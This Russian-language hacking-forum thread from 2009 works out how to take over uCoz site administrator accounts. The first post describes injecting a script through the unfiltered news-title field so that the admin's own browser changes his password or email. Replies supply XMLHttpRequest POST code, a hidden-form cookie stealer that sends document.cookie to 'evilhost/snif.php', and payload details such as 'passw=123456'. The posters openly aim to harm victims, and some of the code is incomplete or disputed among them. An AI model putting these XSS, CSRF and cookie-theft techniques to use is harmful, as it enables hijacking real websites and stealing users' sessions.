Форумы Найден способ взлома UcoZ!

Discussion in 'Уязвимости CMS/форумов' started by Artemik, 8 Jan 2009.

  1. Artemik

    Artemik Elder - Старейшина

    Joined:
    27 Sep 2008
    Messages:
    31
    Likes Received:
    10
    Reputations:
    5
    Все мы знаем, что UcoZ неприступный и уже все головы сломали (ломают) как его взломать.
    Cookie админа украсть не проблема, даже если на форуме выключены HTML теги.

    Но! По умолчанию в UcoZ стоит привязка IP к админу. Тоесть куки то мы украли, но войти не сможем. А админ не станет эту привязку просто так отключать.
    Но привязка IP модератора по умолачнию выключена. ;) так что вы можете украсть куки модератора, войти под его логином, и удалить все темы, новости, и.т. д.
    По идее то нам зачастую это и нужно - насолить бедной жертве =)))
    Но нам это неподходит. Двигаемся дальше.

    А что если админ сам себе, не подозревая того, сменит свой пароль на нужный нам? =)

    Именно так мы и поступим.

    Дело в том, что в форме добавления новостей не фильтруется поле "Название материала". :cool:

    А что мы можем с этим сделать? Можно здесь вставить скрипт перенаправки на сниффер, но нам то куки админа ненужны.
    А вот что! =)

    Мы внедрим файл в заголовок нашей "злой" новости! :)

    Создаем любой файлик. И в него вписываем код.
    В этом коде будет содержаться POST запрос с помощью ActiveX.
    Код мы вписали.
    Теперь заливаем его на сайте который хотим взломать.
    Это можно сделать например так:
    Зайти на форум. В форме написания сообщения прикрпеить наш файл( там есть кнопочка "Обзор", вот через нее надо прикреплять) Сообщение напишите произвольное.
    Когда нажмете отправить, увидите свое сообщение, а чуть нижу будет написано " Прикрепления: "название файла", его размер".
    Наведите курсор на название этого файлика и увидите в нижнем левом углу ссылку на этот файл.

    Незнаю как у вас, а у меня, в Фаерфоксе, можно сделать так: Клик правой кнопкой по ссылке на файл, выбираю там пункт "Копировать ссылку". И все, ссылку у меня в буфере обмена.
    Ну а у кого неть такой функции, придется набирать ссылку ручками =)

    Теперь идем создавать новость.

    Новость напишите произвольную.
    Это не имеет значения, нас интересует строка "Название материала".

    Туда вписываем

    <script src="../путь до файла"></script>

    Например у меня так:

    <script src="../_fr/0/0962166.img"></script>


    Видите у меня полсе ...src=" стоят 2 точки?
    Это не обозначает "адрес сайта который надо взломать"! Так UcoZ воспринимает адрес самого сайта (главной страницы).

    И вуаля! пароль изменен нам на нужный :cool:


    Вот только пожалуйста не кричите на меня, но я незнаю кода, для POST запроса. Я с ним не в ладах))

    Если кто может сделать этот код, то пишите тут!
    Собственно для этого я и сделал тему)

    Вообщем нам надо только сделать этот код, и вставить его в файлик, который потом заливать будем на сайт! И Все! Считай неприступный UcoZ взломан :eek:
     
    4 people like this.
  2. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    я конечно не знаком с системой ucoz, но вроде везде где идет смена пароля требуеться вести старый для подтвержения.
    И в src можно указывать любой валидный url, не обязательно атачить на это же сайт js файл, легчше на свой сайт залить и в src его указать.
    Вот самый простинкий ajax запрос:
    PHP:

    url
    ="admin.php";// адрес куда будем передовать

    function sendRequest(params)// в params  переменые передоваемы в пост запросе
    {
    if(
    params!==""){
    req=initXMLHTTPRequest();
    if (
    req)
    {
    req.onreadystatechange=somedo;
    req.open("POST",url,true);
    req.setRequestHeader("Content-Type""application/x-www-form-urlencoded");
    req.send(params);}
    }
    }

    function 
    initXMLHTTPRequest()
    {
    var 
    xRequest=null;
    if (
    window.XMLHttpRequest){
    xRequest=new XMLHttpRequest();
    } else if (
    window.ActiveXObject){
    xRequest=new ActiveXObject
    ("Microsoft.XMLHTTP");
    }
    return 
    xRequest;
    }

    function 
    somedo() 
    {  

    }
     
    #2 AkyHa_MaTaTa, 8 Jan 2009
    Last edited: 8 Jan 2009
  3. Artemik

    Artemik Elder - Старейшина

    Joined:
    27 Sep 2008
    Messages:
    31
    Likes Received:
    10
    Reputations:
    5
    А ты можешь его подогнать под конкретно Укоз?
     
  4. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    Зарегай мне акк на укозе, или дай какойто, я хз че там передаеться.
     
  5. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    637
    Likes Received:
    519
    Reputations:
    19
    Лучше сделать через обычный csrf- автосабмит формы, потому как XMLHTTPRequest не отправит запрос на сторонний домен(если этот файл не приаттачить)
     
  6. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    мм, если он создаст на том же сайте <script type="text/javascript" src="http://любой_сайт/path/script.js"></script> и регьюст будет идти на тот же доменик то все отправиться(а имено это описал ТС)
     
  7. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    ТС, ActiveX работает только в IE.
    Same Origin Policy не позволяет делать AJAX-запросы на удаленные сайты, поэтому в <script src=""> необходимо указывать скрипт, находящийся в пределах того же хоста.

    Универсальный способ отправить POST-запрос с помощью html и js:
    PHP:
    <iframe width=0 height=0 id=lol name=lol></iframe>
    // создаем невидимый iframe для того, чтобы отправка формы не вызывала перезагрузку страницы
    <form name=myform method=post target=lol>
    // создаем форму, в которой target - это наш iframe
    <input type=hidden name=c>
    // здесь любые данные, в данном случае cookie
    </form>
    <
    script>
    // теперь очередь js
    document.myform.action='http://evilhost/snif.php';
    // устанваливаем action на наш сервер
    document.myform.c.value=document.cookie;
    // записываем в hidden-поле данные cookie пользователя
    document.myform.submit();
    // отправляем форму
    </script>
    так работать не будет!
     
    #7 [Raz0r], 8 Jan 2009
    Last edited: 8 Jan 2009
    1 person likes this.
  8. dr.Pilulkin

    dr.Pilulkin Elder - Старейшина

    Joined:
    3 Jun 2007
    Messages:
    42
    Likes Received:
    16
    Reputations:
    0
    А с помощью Flash можно отравлять запросы?
     
  9. Artemik

    Artemik Elder - Старейшина

    Joined:
    27 Sep 2008
    Messages:
    31
    Likes Received:
    10
    Reputations:
    5
    Razor нам ненужны Куки. Нам надо, чтобы через этот пост запрос админ переходил в свой профиль, и менял свой пароль. Я точно непомню, но вроде переменная, в которой вводится праоль там называется passw. Но, я сейчас придумал другой варинат. Если неполучится изменить переменную пассв, то можно поменять не пароль а e-mail на свой. Потом сказать что ты типо забыл пароль и тебе на e-mail придет письмо. =)

    Ну зарегайте любой сайт на Укозе, это быстро же и покапайтесь =)

    ucoz.ru

    Но, я вроде уже придумал код, но сегодня выложить немогу, ждите до завтра )))))
     
    1 person likes this.
  10. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    БРЕД, ТАК РАБОТАТЬ БУДЕТ,И ЭТО МНОЮ УЖЕ ПРОВЕРЯЛОСЬ НЕ ОДНОКРАТНО!!! ДРУГОЕ ДЕЛО ЕСЛИ ВЫ ИСПОЛЬЗУЕТЕ В САМОМ XMLHTTPRequest запрос к другому домену то да, этого сделать не получиться. ЕСЛИ НЕ ВЕРИТЕ Я МОГУ УСТРОИТЬ МАЛЕНЬКУЮ ДЕМОНТСРАЦИЮ ЭТОГО
    Вот почитайте
    http://javascript.ru/ajax/cross-domain-scripting
    мм, если вы подразумеваете что XMLHTTPRequest в старых браузерах от ие был не native object а вызывался через ActiveX, то да, но если вы посмотрите на код, то там идет проверка на это, в остальных браузерах с подержкой XMLHTTPRequest он идет как native object и в новых версиях ИЕ.
     
    #10 AkyHa_MaTaTa, 8 Jan 2009
    Last edited: 8 Jan 2009
  11. Artemik

    Artemik Elder - Старейшина

    Joined:
    27 Sep 2008
    Messages:
    31
    Likes Received:
    10
    Reputations:
    5
    Возможно запрос будет выглядеть так (полный код на 1 странице давал "Какуна Матата")

    ......
    if(params!==passw="123456"){
    req=initXMLHTTPRequest();
    if (req)
    {
    .....
    Или нет?
    Если нам нужно отправить переменнуб passw то как будет выглядеть код?
     
  12. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    не, немного не так,
    sendRequest("passw=123456");
     
  13. Chrome~

    Chrome~ Elder - Старейшина

    Joined:
    13 Dec 2008
    Messages:
    936
    Likes Received:
    162
    Reputations:
    27
    Я бы не назвал это столь большой новостью. На uCoz и правда не идет запрос на ввод старого пароля, при установке нового. Также при изменении инфы не требуется вводить капчу. Давно замечал это.

    Передача новых личных данных идет в формате multipart/form-data и передается довольно много параметров.
     
    #13 Chrome~, 8 Jan 2009
    Last edited: 8 Jan 2009
  14. Artemik

    Artemik Elder - Старейшина

    Joined:
    27 Sep 2008
    Messages:
    31
    Likes Received:
    10
    Reputations:
    5
    А это и никто и не называет большой новостью. Большой новостью называют, то что можно через запросы сменить пароль админа. Или его е-мэил.
     
  15. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    multipart/form-data - для передачи файлов а вот так в форме - application/x-www-form-urlencoded
     
    1 person likes this.
  16. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    именно про это я и говорил
     
    1 person likes this.
  17. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    Ну может я вас не правильно понял, или вы меня.
     
    #17 AkyHa_MaTaTa, 8 Jan 2009
    Last edited: 8 Jan 2009
  18. Artemik

    Artemik Elder - Старейшина

    Joined:
    27 Sep 2008
    Messages:
    31
    Likes Received:
    10
    Reputations:
    5
    Матата, он имел ввиду что нужно указывать ссылку на скрипт находящийся в пределах хоста. А в самом скрипте можно указывать на любой скрипт.

    Я так понял)))
     
  19. Artemik

    Artemik Elder - Старейшина

    Joined:
    27 Sep 2008
    Messages:
    31
    Likes Received:
    10
    Reputations:
    5
    И не забывайте, что Укоз не поддерживает PHP!
     
  20. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    Ты понял все с точностью до наоборот. Как раз сылку в src можно указывать на любой хост а в самом скрипте при XMLHTTPRequest только на данный домен до буковки, то есть www.test.ru и test.ru уже будут считаться разными доменами, поэтому лутчше всегда узать location.host
     
    #20 AkyHa_MaTaTa, 8 Jan 2009
    Last edited: 8 Jan 2009